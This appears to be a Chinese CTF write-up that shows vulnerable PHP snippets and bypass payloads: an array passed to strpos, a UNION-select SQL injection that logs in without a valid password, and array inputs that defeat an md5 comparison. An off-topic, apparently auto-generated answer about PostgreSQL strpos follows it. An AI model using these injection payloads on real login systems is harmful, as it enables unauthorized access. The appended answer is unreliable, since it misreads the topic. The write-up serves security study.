strpos数组绕过NULL、密码md5比较绕过、MD5函数===绕过

博客介绍了三种PHP函数绕过漏洞。strpos函数不能处理数组,传入数组返回null可绕过;密码md5比较绕过可利用无过滤措施,选择对应密码实现登录;MD5函数因解析不了数组返回空,可构造特定数组形式的payload绕过。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、strpos数组绕过NULL

<?php

$flag = "flag";

    if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
            echo '必须输入数字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
            die('Flag: '.$flag);
        else
            echo '骚年,继续努力吧啊~';
    }

 ?>

定义和用法
strpos() 函数查找字符串在另一字符串中第一次出现的位置。

它不能对数组处理,如果是数组则返回null,null,也就不等于FALSE.
payload为?nctf[]=1

二、密码md5比较绕过

<?php

if($_POST[user] && $_POST[pass]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = $_POST[user];
  $pass = md5($_POST[pass]);
  $query = @mysql_fetch_array(mysql_query("select pw from ctf where user=' $user '"));
  if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {


      echo "<p>Logged in! Key: ntcf{**************} </p>";
  }
  else {
    echo("<p>Log in failure!</p>");
  }
}

?>

审计源码可知,要想得到flag,只需要同时满足

($query[pw]) && (!strcasecmp($pass, $query[pw]))

$user变量我们是可以控制的,然后又没有任何过滤措施
我们就可以直接利用这个语句选择一个相应的密码给对应的pw

如果前面的用户名不存在的话
mysql_fetch_array(mysql_query(“select pw from ctf where user=’$user’”));
取到的东西就是空,然后在加上我们的md5密码,就可以实现成功登陆

strcasecmp函数,比较2个字符串,不区分大小写。如果2个字符串大小相等就返回0。

最后payload
user=1’ union select md5(1)%23&pass=1

三、MD5函数===绕过

<?php
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
    if ($_GET['username'] == $_GET['password'])
        print 'Your password can not be your username.';
    else if (md5($_GET['username']) === md5($_GET['password']))
        die('Flag: '.$flag);
    else
        print 'Invalid password';
}
?>

由于md5解析不了数组,返回空。

payload:?username[]=1&password[]=2

在 PostgreSQL 中,`strpos()` 是用于查找子字符串在另一个字符串中的位置的内置函数。如果尝试绕过 `strpos()` 的行为或者规避其特定的结果逻辑,则需要理解该函数的工作原理以及可能的应用场景。 ### 关于 `strpos()` 函数的行为 `strpos()` 返回的是子字符串首次出现的位置索引(从 1 开始)。如果没有找到匹配项,则返回 0[^2]。这种特性使得它常被用来判断某个子串是否存在,尤其是在 SQL 查询条件中配合其他表达式一起使用。 #### 绕过的可能性分析 通常提到“绕过”,往往涉及安全上下文中讨论如何避开某些过滤机制或验证规则。对于像 `strpos()` 这样的标准数据库功能来说,“绕过”的概念并不常见,除非是在特殊情况下试图实现某种变通处理方式来达到预期效果而不直接调用此方法本身。 以下是几种可以考虑的技术方向: 1. **利用替代函数** 可以通过其他相似作用但语法不同的函数达成目的。例如: - 使用正则表达式的匹配操作代替简单的字符定位。 ```sql SELECT * FROM table WHERE column ~* '^pattern'; ``` 此处采用 POSIX 正则模式来进行更灵活复杂的搜索[^1]。 2. **调整查询结构** 如果是因为业务需求导致不得不回避使用 `strpos()` ,那么重构整个查询语句可能是更好的解决方案之一。比如改写成基于 LIKE 或 ILIKE 的形式: ```sql SELECT * FROM my_table WHERE col_name LIKE '%search_term%'; ``` 3. **自定义逻辑构建** 当遇到严格限制时,还可以创建存储过程或者编写 PL/pgSQL 脚本来模拟所需的功能并嵌套到最终执行计划里去完成任务目标。 4. **针对注入防护措施下的应对策略** 假设问题是源于防止 SQL 注入攻击而设置的各种防御手段影响到了正常开发工作流的话,应该重新审视应用程序层面上的数据输入校验流程而不是单纯依赖修改底层 DBMS 表达式来解决问题。确保所有外部传入参数都经过适当转义处理才是最根本有效的办法。 ```python def escape_input(user_data): sanitized = user_data.replace("'", "''") # 对单引号做双重化处理作为简单示范 return f"'{sanitized}'" ``` 以上提供了几个角度思考如何去间接实现原本由 `strpos()` 承载的任务职责的同时也强调了遵循最佳实践的重要性以保障系统的整体安全性与稳定性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值